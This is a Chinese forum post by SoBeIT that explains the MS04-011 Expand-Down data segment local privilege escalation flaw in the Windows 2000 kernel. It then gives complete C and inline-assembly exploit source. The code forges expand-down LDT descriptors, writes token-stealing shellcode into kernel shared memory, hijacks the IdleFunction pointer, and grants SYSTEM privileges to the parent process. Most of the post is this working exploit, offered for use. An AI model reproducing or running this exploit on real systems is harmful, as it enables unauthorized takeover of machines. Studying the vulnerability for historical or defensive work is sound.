信息来源:Whitecell技术论坛(
www.whitecell.com)
文章作者:SoBeIT
这个漏洞产生原因是由两个Windows内核设计上的缺陷共同导致的。
第一个设计缺陷是Windows允许每个进程添加本进程的LDT描述符(Local Descriptor Table,局部描述符表),通过调用ZwSetLdtEntries可以添加和修改当前进程的LDT描述符。但是该函数忽略了一个问题,就是并没有考虑到数据段描述符中的Expand-Down标志。Expand-Down标志用于数据段描述符,当一个数据段描述符未设置该标志时,这个数据段的有效范围为Base到(Base + Limit),但是设置了该标志后,该数据段的有效范围为(Base + Limit + 1)到(Base - 1),也就是前一个地址范围的补集,或者说地址空间里的剩余部分。尤其是当设置了Limit为0时,该数据段有效的地址范围为整个地址空间。NtSetLdtEntries函数在验证要添加的LDT描述符的合法性时认为只有满足了以下3种情况才算合法:
1、Base < 0x7fff0000
2、Base <= (Base + Limit)
3、(Base + Limit) < 0x7fff0000
这些验证是为了确保一个LDT描述符所描述的数据段不涉及到内核地址空间,但当Expand-Down标志设置后,却使这种验证形同虚设。
第二个设计缺陷是在系统调用int 0x2e进入内核态后,系统信任由用户态传来的DS和ES寄存器的值而未做任何检查。之后在复制系统调用的参数时,会有下面这样的一段代码:
mov esi, edx
mov ebx, [edi+0xc]
xor ecx, ecx
mov cl, byte ptr [ebx+eax]
mov edi, [edi+0x4]
mov ebx, [edi+eax*4]
sub esp, ecx
shr ecx, 2
mov edi, esp
cmp esi, _MmUserProbeAddress
jae kss80
rep movsd
这段代码是把用户态堆栈的参数复制到内核堆栈,表面上没有问题,但是这段复制代码其实是从DS:ESI复制到ES:EDI,当配合前DS和ES在用户态都可以控制时,只要配合前一个设计缺陷,那么就可以向任意地址写入一定数量的数据。假设ESP为内核堆栈地址,PatchAddress为想要写入的地址,则只要设置ES所对应的LDT数据段描述符的Base为(PatchAddress - ESP)既可。
当前ESP的值可以先通过启动一个线程来使内核堆栈的数据趋于固定,然后调用GetThreadContext来获取堆栈的大概地址,并可以计算出KiSystemService拷贝时的内核堆栈地址。根据多次实验,复制时的内核堆栈地址为前面获取的内核堆栈地址加上0x154。
调试这个漏洞时有一点需要注意,就是如果用内核调试器在KiSystemService函数里下断点,如果断点下在rep movsd前面的任何位置(包括该条指令位置),都会破坏这个漏洞的形成条件。因为当断点触发时,已经经过了异常处理程序处理后才把控制权交给内核调试器,ES寄存器的内容已经恢复回正常值。只能把断点下在rep movsd之后,也就是从call ebx开始的地方,然后根据结果来判断前面的覆盖是否成功。
为了拿到控制权,可以覆盖系统的一些函数指针,根据选择的函数指针不同,引发的问题也不同。我选择是覆盖KPCR+0x878的IdleFunction,因为这会在IDLE进程中调用,不关联任何用户态地址空间,所以为了能够执行提权代码,我把用户态的提权代码通过同样的漏洞拷贝到UserShareData的后半部分,也就是0xffdf0800,然后IdleFunction指向这部分代码。提权代码就是复制SYSTEM进程的Token到指定的进程,比如cmd.exe,该进程就拥有最高权限。在拷贝提权代码时,因为所有系统调用中可能的最大的参数个数为0x11个,也就是一次只能向内核拷贝0x44个字节,所以有时要分几次拷。之后要恢复IdleFunction,其实这个函数绝大多数时候等价于HalProcessorIdle,所以直接恢复成那个函数既可。不过由于覆盖了IdleFunction,所以执行提权代码时是在IDLE进程中,该进程的EPROCESS结构未挂在进程活动链表上,可以从0xffdff55c处取出NpxThread,进而得到SYSTEM进程的EPROCESS。
/*
MS04-011 Windows Expand-Down Data Segment Local Privilege Escalation Vulnerability Exploit
Created by SoBeIt
Main file of exploit
Tested on:
Windows 2000 PRO SP4 Chinese
Windows 2000 PRO SP4 English
Usage:ms04-011(2).exe
*/
#include <stdio.h>
#include <windows.h>
#define NTSTATUS int
#define ProcessBasicInformation 0
typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PVOID PebBaseAddress;
ULONG AffinityMask;
ULONG BasePriority;
ULONG UniqueProcessId;
ULONG InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;
__declspec(naked)
NTSTATUS
NTAPI
ZwSetLdtEntries(
ULONG Selector0,
ULONG Entry0Low,
ULONG Entry0Hi,
ULONG Selector1,
ULONG Entry1Low,
ULONG Entry1Hi)
{
__asm
{
mov eax, 0xca
lea edx, [esp+4]
int 0x2e
ret 0x18
}
}
__declspec(naked)
NTSTATUS
NTAPI
ZwQueryInformationProcess(
HANDLE ProcessHandle,
ULONG InformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength)
{
__asm
{
mov eax, 0x86
lea edx, [esp+4]
int 0x2e
ret 0x14
}
}
ULONG ParentProcessId;
VOID ErrorQuit(char *msg)
{
printf("%s\n", msg);
ExitProcess(0);
}
VOID SetupLDTEntry(int Segment, ULONG Base)
{
LDT_ENTRY NewEntry;
ULONG Limit = 0;
NTSTATUS Status;
NewEntry.LimitLow = (USHORT)((Limit >> 12) & 0xffff);
NewEntry.BaseLow = (USHORT)(Base & 0xffff);
NewEntry.HighWord.Bytes.BaseMid = (UCHAR)((Base >> 16) & 0xff);
NewEntry.HighWord.Bits.Type = 23;
NewEntry.HighWord.Bits.Dpl = 3;
NewEntry.HighWord.Bits.Pres = 1;
NewEntry.HighWord.Bits.LimitHi = Limit >> 28;
NewEntry.HighWord.Bits.Sys = 0;
NewEntry.HighWord.Bits.Reserved_0 = 0;
NewEntry.HighWord.Bits.Default_Big = 1;
NewEntry.HighWord.Bits.Granularity = 1;
NewEntry.HighWord.Bytes.BaseHi = (UCHAR)((Base >> 24) & 0xff);
Status = ZwSetLdtEntries(Segment, *(PULONG)&NewEntry, *(((PULONG)&NewEntry) + 1), 0, 0, 0);
if(Status < 0)
ErrorQuit("ZwSetLdtEntries failed.\n");
}
ULONG WINAPI TempThread(PVOID pParam)
{
return 1;
}
__declspec(naked) ExploitFunc()
{
__asm
{
cli
pushad
mov esi, 0xffdff55c
mov esi, dword ptr [esi]
mov eax, dword ptr [esi+0x44]
mov ecx, 0x8
call FindProcess
mov edx, eax
mov ebx, 0xffdff9a0
mov ecx, dword ptr [ebx]
call FindProcess
mov ecx, dword ptr [edx+0x12c]
mov dword ptr [eax+0x12c], ecx
mov edi, 0xffdff038
mov edi, dword ptr [edi]
SearchIdle:
inc edi
cmp dword ptr [edi], 0xccc3f4fb
jnz SearchIdle
mov eax, 0xffdff878
mov dword ptr [eax], edi
popad
sti
ret
FindProcess:
mov eax, dword ptr [eax+0xa0]
sub eax, 0xa0
cmp dword ptr [eax+0x9c], ecx
jne FindProcess
ret
int 0x3
nop
nop
int 0x3
}
}
int main(int argc, char *argv[])
{
HANDLE hThread;
ULONG Base, PatchAddr, StackAddr, Offset;
int Size, Index, i;
CONTEXT Context;
PROCESS_BASIC_INFORMATION pbi;
PUCHAR ptr;
printf("\n MS04-011 Windows Expand-Down Data Segment Local Privilege Escalation \n\n");
printf("\t Create by SoBeIt. \n\n");
if(argc != 1)
{
printf(" Usage:%s\n\n", argv[0]);
return 1;
}
if(ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL))
ErrorQuit("ZwQueryInformationProcess failed\n");
ParentProcessId = pbi.InheritedFromUniqueProcessId;
if((hThread = CreateThread(NULL, 0, TempThread, NULL, CREATE_SUSPENDED, NULL)) == NULL)
ErrorQuit("Create thread failed.\n");
Context.ContextFlags = CONTEXT_INTEGER;
if(!GetThreadContext(GetCurrentThread(), &Context))
ErrorQuit("GetThreadContext failed.\n");
printf("Kernel ESP is %x\n", Context.Esp);
StackAddr = Context.Esp + 0x154;
ptr = (PUCHAR)ExploitFunc;
if(*ptr == 0xe9)
ptr += *(PULONG)((PUCHAR)ExploitFunc + 1) + 5;
for(Size = 0; *(PULONG)ptr != 0xcc9090cc; ptr++, Size++)
;
Size = (Size / 0x44) + 1;
for(i = 4; i < (Size + 4); i++)
{
Offset = (i - 4) * 0x44;
Index = (i << 3) + 0x7;
PatchAddr = 0xffdf0800 + 0x11 * 4 - 4;
Base = PatchAddr - StackAddr + Offset;
SetupLDTEntry(Index, Base);
__asm
{
push es
push Index
pop es
lea edx, ExploitFunc
mov al, byte ptr [edx]
cmp al, 0xe9
jnz SystemCall
mov ebx, edx
inc ebx
mov ebx, dword ptr [ebx]
lea edx, dword ptr [edx+ebx+5]
mov ecx, i
sub ecx, 4
imul eax, ecx, 0x44
add edx, eax
SystemCall:
mov eax, 0x7
int 0x2e
pop es
}
}
PatchAddr = 0xffdff9a0;
Base = PatchAddr - StackAddr;
SetupLDTEntry(0x17, Base);
__asm
{
push es
push 0x17
pop es
mov eax, 0xc
lea edx, ParentProcessId
int 0x2e
pop es
}
PatchAddr = 0xffdff878;
Base = PatchAddr - StackAddr;
SetupLDTEntry(0x1f, Base);
__asm
{
push es
push 0x1f
pop es
mov eax, 0xc
push 0xffdf0800
mov edx, esp
int 0x2e
pop edx
pop es
}
}